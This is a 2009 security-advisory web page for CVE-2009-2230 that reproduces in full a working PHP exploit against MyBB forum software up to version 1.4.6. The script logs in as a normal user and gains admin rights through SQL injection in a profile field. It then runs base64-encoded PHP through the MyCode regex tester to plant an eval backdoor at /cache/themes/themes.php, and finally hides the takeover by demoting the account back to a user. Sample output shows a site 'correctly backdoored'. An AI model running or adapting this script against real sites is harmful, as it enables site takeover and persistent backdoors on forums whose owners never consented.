SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

MyBB <= 1.4.6 Remote Code Execution Exploit


Arrow  SecurityAlert : 5968
Arrow  CVE : CVE-2009-2230
Arrow  CWE : CWE-94
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   6458
Arrow  Credit : paradox
Arrow  Published : 01.07.2009

Arrow  Affected Software : MyBB <= 1.4.6



Arrow  Advisory Content :  

<?PHP
/*

Someone decided to contact mybb's staff informing about this vulnerability
with the obvious result that this will not work anymore.
Fuc**** moron.

I'm releasing a non-finished version of the exploit. No help, PoC and with
the necessity of --admindir flag.
Going to update it in the next days.
For historical reason, i'm leaving the original title, but note that is <=
1.4.6


Example:

paradox@d3b14n:~/Files/Exploit-Pocs/My_Exploit/Remote/Mybb$ php
myBBtomilw0rm.php -u anybody -p qwerty -t http://localhost/web/mybb/Upload/
--admindir /admin/
[.] Initialing.
[+] Logged in.
[+] my_post_key variable found.
[+] Turned On mybb's invisible mode.
[+] Sql code injected. You're now admin.
[+] Admindir found (or --admindir is used): /admin/.
[+] Admin sid Found: 824e26b4221673a0f213c37f87b9ccd7
[+] Site correctly backdoored.
[+] Sql code injected. You're now user.
[+] Backdoor URI:
http://localhost/web/mybb/Upload//cache/themes/themes.php
All Done. The:Paradox hopes you used this exploit exclusively for your own
fun and you enjoyed it.
Have a nice day :P


For the curious people: http://mybboard.it/forum/thread-3623.html

*/

/*

Mybb <= 1.4.4 Remote Code Execution through Sql Injection Exploit


Discovered: About 4 days before the exploit was coded.
Coded: 03-03-2009
Author: The:Paradox
Release: Not yet.

No php.ini setting can stop us ! =O
A user (not email confirmed too) is needed.

Keep private or your keyboard will blew up.


*/


$mybb = new maibibi2;


class maibibi2
{

function __construct ()
{



$this->user = $this->get_argv('-u');
$this->pass = $this->get_argv('-p');
$this->target = $this->get_argv('-t');
$this->admindir = $this->get_argv('--admindir');
$this->oa2u = $this->get_argv('--onlyadmin2user');

$this->ip = '67.167.124.135';
$this->ua = 'Mozilla 5.0';
$this->bckdr = '/cache/themes/themes.php';

if ($this->get_argv('--help') !== False || $this->get_argv('-h') !==
False) $this->help();
if (!$this->user || !$this->pass) die ("You have to insert
User/Password\r\nUse --help or -h for more informations.\r\n");
if (!$this->target) die ("You have to insert Target\r\nUse --help
or -h for more informations.\r\n");

$this->http();
$this->init();


}

function help ()
{

die ("Under Construction\r\n");

}

function get_argv ($what)
{
global $argv;

if (!$n = array_search($what, $argv)) return False;
return $argv[$n+1];
}

function init ()
{

set_time_limit(0); // about 30 seconds left? Be serious.

echo "[.] Initialing.\r\n";

if (!$this->mybbuser = $this->ilovecookies ()) die ("Incorrect
credentials.\r\n");

echo "[+] Logged in.\r\n";

if (!$this->mypostkey = $this->getmypostkey()) die ("My_Post_Key Not
Found.\r\n");

echo "[+] my_post_key variable found.\r\n";

$this->hidemefromonlinelist();

echo "[+] Turned On mybb's invisible mode.\r\n";

$this->user2admin();

echo "[+] Sql code injected. You're now admin.\r\n";

if (!$this->admindir && !$this->admindir = $this->findadmindir()) die
("Unable to find admin Dir.\r\nWhatever it's possible your user is
currently an administrator.\r\nIf you know admin dir path, you may use
--admindir\r\n");

echo "[+] Admindir found (or --admindir is used):
{$this->admindir}.\r\n";

if (!$this->adminsid = $this->loginadmin()) die ("[-] Unable to login
as admin.\r\nWhatever it's possible your user is currently an
administrator.\r\n");

echo "[+] Admin sid Found: {$this->adminsid}\r\n";
#$this->writabledirs();
$this->rce ();
if (!$this->checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever
it's possible your user is currently an administrator.\r\n");

echo "[+] Site correctly backdoored.\r\n";

$this->admin2user();

echo "[+] Sql code injected. You're now user.\r\n";
echo "[+] Backdoor URI: {$this->target}{$this->bckdr}\r\n";
echo "All Done. The:Paradox hopes you used this exploit exclusively for
your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";

}

function ilovecookies ()
{
$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua);
$this->postdata = array ('username' => $this->user, 'password' =>
$this->pass, 'submit' => 'Login', 'action' => 'do_login');

$rsp = $this->post ("{$this->target}/member.php");

if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;

return $res[1][0];


}

function getmypostkey ()
{

$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'Referer' => "{$this->target}/member.php", 'Cookie' =>
"mybbuser={$this->mybbuser};");
$rsp = $this->get ("{$this->target}/usercp.php?action=profile");

if (!preg_match_all ('~name="my_post_key" value="(.+?)" />~',$rsp,$res))
return False;

return $res[1][0];

}

function hidemefromonlinelist()

{
$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile",
'Cookie' => "mybbuser={$this->mybbuser};");
$this->postdata = array ('my_post_key' => $this->mypostkey, 'invisible'
=> '1', 'action' => 'do_options', 'regsubmit' => 'Update+Options');

$rsp = $this->post ("{$this->target}/member.php");

}

function user2admin ()

{

$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile",
'Cookie' => "mybbuser={$this->mybbuser};");
$this->postdata = array ('my_post_key' => $this->mypostkey,
'invisible' => '1',
'bday1' => '',
'bday2' => '',
'bday3' => '',
'website' => 'http%3A%2F%2F',
'profile_fields%5Bfid3%5D' => 'Undisclosed',
'profile_fields%5Bfid2%5D' => 'Undisclosed',
'profile_fields%5Bfid1%5D' => 'Undisclosed',
'usertitle' => '',
'icq' => '',
'aim' => '',
'msn' => '',
'yahoo' => '',
'away' => '0',
'awayreason' => '',
'awayday' => '',
'awaymonth' => '',
'awayyear' => '',
'birthdayprivacy' => "all', usergroup=4,
email='pr3sident@whit3house.gov',regip='79.140.81.83',
longregip='1334595923', lastip='', longlastip='",
'action' => 'do_profile',
'regsubmit' => '1');

$rsp = $this->post ("{$this->target}/usercp.php");

}

function findadmindir ()
{

$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile",
'Cookie' => "mybbuser={$this->mybbuser};");
$rsp = $this->get("{$this->target}/index.php");


if (!preg_match_all ("~<!-- start: header_welcomeblock_member_admin -->
— <a href=\"{$this->target}(.+?)/index.php\">~",$rsp,$res)) return
False;

return $res[1][0];



}

function loginadmin ()

{

$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile",
'Cookie' => "mybbuser={$this->mybbuser};");
$this->postdata = array ('username' => $this->user, 'password' =>
$this->pass, 'do' => 'login');

$rsp = $this->post ("{$this->target}/{$this->admindir}/index.php");

if (!preg_match_all ('~adminsid=(.+?);~',$rsp,$res)) return False;

return $res[1][0];
}

function writabledirs ()
{
$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'Referer' => "{$this->target}/{$this->admindir}/index.php?",
'Cookie' => "mybbuser={$this->mybbuser}; adminsid={$this->adminsid};");
$this->get ("{$this->target}/{$this->admindir}/index.php?module=tools")
;


}


function rceOld ()

{

//edits inc/functions.php (original one)

$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' =>
"{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=ed
it&cid=1", 'Cookie' => "mybbuser={$this->mybbuser};
adminsid={$this->adminsid};");
$this->postdata = array ('my_post_key' => $this->mypostkey,
'o_o' => 'phpinfo();',
'regex' => '(.*%3F)#e%00',
'replacement' => 'die(eval(stripslashes($_REQUEST[\'o_o\'])));',
'test_value' => 'XoD');

$rsp = $this->post
("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=x
mlhttp_test_mycode");


}

function rce ()

{

$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'X-Requested-With' => 'XMLHttpRequest', 'Referer' =>
"{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=ed
it&cid=1", 'Cookie' => "mybbuser={$this->mybbuser};
adminsid={$this->adminsid};");
$this->postdata = array ('my_post_key' => $this->mypostkey,
'o_o' =>
'JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSF
AgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4X
SkpOyA/PicpOw0KZmNsb3NlKCRmcCk7',
'regex' => '(.*%3F)#e%00',
'replacement' => 'die(eval(base64_decode($_REQUEST[\'o_o\'])));',
'test_value' => 'XoD',
'file' => "../{$this->bckdr}");

$rsp = $this->post
("{$this->target}/{$this->admindir}/index.php?module=config/mycode&action=x
mlhttp_test_mycode");


}


function admin2user ()

{

$this->header = array ('client-ip' => $this->ip ,'User-Agent' =>
$this->ua, 'Referer' => "{$this->target}/usercp.php?action=profile",
'Cookie' => "mybbuser={$this->mybbuser};");
$this->postdata = array ('my_post_key' => $this->mypostkey,
'invisible' => '1',
'bday1' => '',
'bday2' => '',
'bday3' => '',
'website' => 'http%3A%2F%2F',
'profile_fields%5Bfid3%5D' => 'Undisclosed',
'profile_fields%5Bfid2%5D' => 'Undisclosed',
'profile_fields%5Bfid1%5D' => 'Undisclosed',
'usertitle' => '',
'icq' => '',
'aim' => '',
'msn' => '',
'yahoo' => '',
'away' => '0',
'awayreason' => '',
'awayday' => '',
'awaymonth' => '',
'awayyear' => '',
'birthdayprivacy' => "all', usergroup=2,
email='pr3sident.whit3house@gmail.com',regip='79.140.81.83',
longregip='1334595923', lastip='', longlastip='",
'action' => 'do_profile',
'regsubmit' => '1');

$rsp = $this->post ("{$this->target}/usercp.php");

}

function checkrce_old ()

{
$this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print
\'.:31337:.\'%3B;');
$rsp = $this->get
("{$this->target}/{$this->admindir}/inc/functions.php?");

if (!strstr($rsp,'.:31337:.')) return False;
else return True;

}

function checkrce ()

{
$this->header = array ('client-ip' => $this->ip ,'Cookie' => 'x=print
\'.:31337:.\'%3B;');
$rsp = $this->get ("{$this->target}/{$this->bckdr}");

if (!strstr($rsp,'.:31337:.')) return False;
else return True;

}


function http ($port = 80, $header = array(), $post = array(), $timeout =
30)
{

$this->port = $port;
$this->timeout = $timeout;
$this->header = $header;
$this->postdata = $post;
}

function get ($url)
{
$this->url = parse_url($url);
$this->packet = array();

$this->packet[] = "GET
{$this->url['path']}?{$this->url['query']}{$this->url['fragment']}
HTTP/1.1";
$this->packet[] = "Host: {$this->url['host']}";

foreach ($this->header as $header => $value)
{
$this->packet[] = "$header: $value";
}

$this->packet[] = "\r\n\r\n";
$this->packet = implode ("\r\n",$this->packet);

return $this->conn();
}

function post ($url)
{
$this->url = parse_url($url);

$this->packet = array();
$this->postcontent = '';

$this->packet[] = "POST
{$this->url['path']}?{$this->url['query']}{$this->url['fragment']}
HTTP/1.1";
$this->packet[] = "Host: {$this->url['host']}";

foreach ($this->header as $header => $value)
{
$this->packet[] = "$header: $value";
}

foreach ($this->postdata as $post => $value)
{
if ($this->postcontent != '') $this->postcontent .= '&';
$this->postcontent .= "$post=$value";
}

$this->packet[] = 'Content-Type: application/x-www-form-urlencoded';
$this->packet[] = "Content-Length: ".strlen($this->postcontent)."\r\n";
$this->packet[] = $this->postcontent;

$this->packet = implode ("\r\n",$this->packet);

return $this->conn();
}


function conn()
{
if (!isset($this->url['port'])) $this->url['port'] = $this->port;

$sk = fsockopen ($this->url['host'], $this->url['port'], $eno, $estr,
$this->timeout);

if (!is_resource($sk)) return "[-] Fsockopen Failed! Error: ".$estr."
[".$eno."]" ;

else {

fputs($sk, $this->packet);
$rsp = "";

while (!feof($sk))
{
$rsp .= fgets ($sk, 1024);
}
}

fclose($sk);
return $rsp;
}



}




?>



Arrow  References :

http://securityreason.com/expldownload/1/6458/1 (Exploit)
http://www.milw0rm.com/exploits/9001




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.